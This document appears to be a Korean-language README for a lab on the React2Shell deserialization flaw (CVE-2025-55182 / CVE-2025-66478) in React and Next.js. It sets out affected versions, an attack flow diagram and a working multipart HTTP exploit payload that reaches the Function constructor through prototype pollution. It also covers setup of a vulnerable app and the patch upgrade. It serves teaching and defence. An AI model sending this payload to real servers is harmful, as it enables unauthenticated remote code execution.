Exploit for Deserialization of Untrusted Data in Facebook React CVE-2025-55182 CVE-2025-66478

## https://sploitus.com/exploit?id=CEAD464C-06DF-5281-85C5-8A7C00FEAC94
# CVE-2025-55182 React2Shell 취약점 실습
> 사용된 AI : Claude Opus 4.5
> **⚠️ 경고**: 이 환경은 **교육 및 연구 목적**으로만 사용하세요.

## 취약점 개요

| 항목 | 내용 |
|------|------|
| **CVE** | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| **이름** | React2Shell |
| **CVSS** | 10.0 (Critical) |
| **유형** | Pre-Auth Remote Code Execution |
| **원인** | Flight 프로토콜 역직렬화 시 프로토타입 오염 |

## 공격 원리

```
                    ┌─────────────────────────┐
                    │     Attacker            │
                    └───────────┬─────────────┘
                                │
                    POST Request + Next-Action Header
                    multipart/form-data payload
                                │
                                ▼
┌───────────────────────────────────────────────────────────┐
│                     Next.js Server                        │
├───────────────────────────────────────────────────────────┤
│  1. Next-Action 헤더 → Server Action 트리거                  │
│  2. multipart 페이로드 → Flight 프로토콜 역직렬화                │
│  3. Fake Chunk 객체의 then() 메서드 호출                       │
│  4. __proto__ 참조 → 프로토타입 오염                           │
│  5. Function 생성자 주입 → RCE                               │
└───────────────────────────────────────────────────────────┘
```

### 익스플로잇 페이로드 구조

```http
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="0"

{"_response":{"_formData":{"get":"Function"}},"then":"$1:__proto__:then"}
------Boundary
Content-Disposition: form-data; name="1"

$@0
------Boundary--
```

**핵심 요소:**
- `Next-Action` 헤더로 Server Action 트리거
- Field 0: Fake Chunk with `then` method for promise-like behavior
- Field 1: `$@0` 참조로 프로토타입 체인 순회
- `__proto__:then`을 통해 `Function` 생성자 접근

---

## 빠른 시작

```bash
cd vulnerable-app

# 의존성 설치
npm install

# 개발 서버 시작
npm run dev
```

http://localhost:3000 에서 접속

---

## 디렉토리 구조

```
react-rce/
├── README.md
├── vulnerable-app/          # 취약한 Next.js 앱
│   ├── package.json         # Next.js 15.0.3 (취약 버전)
│   └── app/
│       ├── page.js          # UI (CVE 정보 + RCE 시연)
│       ├── actions.js       # Server Actions
│       └── globals.css
└── exploit/                 # 공격 도구 (선택)
    └── exploit.py           # CVE-2025-55182 PoC
```

---

## 영향 받는 버전

- **React**: 19.0.0, 19.1.0, 19.1.1, 19.2.0
- **Next.js**: 15.x, 16.x (App Router 사용 시)
- **패키지**: react-server-dom-webpack, react-server-dom-turbopack

---

## 방어 방법

```bash
# 패치 버전으로 업그레이드
npm install next@15.5.7 react@19.2.1 react-dom@19.2.1
```

---

## 참고

- [Next.js 보안 공지](https://nextjs.org/blog/CVE-2025-66478)
- [GitHub: assetnote/react2shell-scanner](https://github.com/assetnote/react2shell-scanner)
- [GitHub: freeqaz/react2shell](https://github.com/freeqaz/react2shell)